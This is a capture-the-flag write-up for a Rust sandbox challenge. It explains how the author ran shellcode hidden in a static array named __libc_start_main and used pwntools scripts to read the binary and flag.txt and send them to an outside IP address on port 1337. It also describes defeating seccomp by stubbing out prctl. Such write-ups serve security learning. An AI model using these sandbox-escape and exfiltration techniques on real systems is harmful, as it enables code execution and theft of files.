Rating: 5.0

### Rusty Codepad
In this challenge, one was supposed to provide a file `code.rs` with a function
`code`, which would be called from a main program that looks like this:

```rust
extern crate code;
use code::code;

fn main() {
// hidden
code();
}
```

To make things more interesting, the provided code was compiled with a switch
that disables all usage of `unsafe`, and usage of any of the `include*!()`
macros (which could leak the contents of `main.rs` during compilation) was
disallowed.

I first unsuccessfully tried to force a stack overflow - the Rust compiler has a
static limit on the size of a stack frame, and there is no `alloca`/VLA support
in Rust. My next idea was to use `#[no_mangle]` on an unsafe function and name
it identically to the mangled name of `code::code()` which I'd mark weak to
prevent linker issues with the duplicate symbol. Unfortunately, you can't mark a
symbol as weak in Rust. Then I was thinking about providing my own version of
`free` with one that prints anything it gets that looks like a flag. However,
that didn't work out because Rust by default ships with a statically linked
jemalloc, so overriding a dynamically linked function is not possible.

Looking through [the list of
attributes](https://doc.rust-lang.org/reference/attributes.html), I finally came
up with a working solution. The `code()` function is actually empty, instead I
embedded some shell code in a static byte array called `__libc_start_main`.

```rust
#[no_mangle]
#[link_section=".text"]
pub static __libc_start_main : [u8; 127] = [
...
];

pub fn code() {}
```

I first used pwntools to generate some shellcode that would leak me the compiled
binary so that I could find out how the flag is retrieved in the `main` function:
```python

#!/usr/bin/env
import sys

from pwnlib.shellcraft.amd64.linux import connect, readfile, exit
from pwnlib.asm import asm

code = readfile('/proc/self/exe', 1) + exit(0)
sys.stdout.write(asm(code, arch='amd64'))
```

Because the web interface for the challenge used a fancy web terminal
that was not meant to display huge amounts of binary data (and required a
captcha which was hard to use from `curl`), I changed it to send the binary to a
network socket:
```
code = ''
code += connect('78.46.244.89', 1337)
code += readfile('/proc/self/exe', 'rbp')
code += exit(0)
```

Reversing this binary, I found that it just reads the flag from a file called
`flag.txt`. So I changed the shellcode above to send this file instead of
`/proc/self/exe` to get the flag.

#### Easier Solution?
Looking back, I was wondering why I even bothered with
all this shell code. No `unsafe` code is required for reading files or opening
sockets. I think, I could just have written some Rust code that does the same
thing as my shellcode. Reversing the binary a bit further beyond the reference to
`flag.txt` revealed that seccomp in strict mode was used to prevent any syscalls
except `read`, `write` and `_exit` from working. Since our fake
`__libc_start_main` runs instead of the normal `main`, this sandbox never
becomes active, of course.

I guess the simplest solution would have just included an empty function for
`prctl` to prevent seccomp from going active. Then the `code::code` function
could have just read the flag using normal Rust code.

Original writeup (https://maltekraus.de/blog/ctf/english/2018/10/18/hack-lu.html).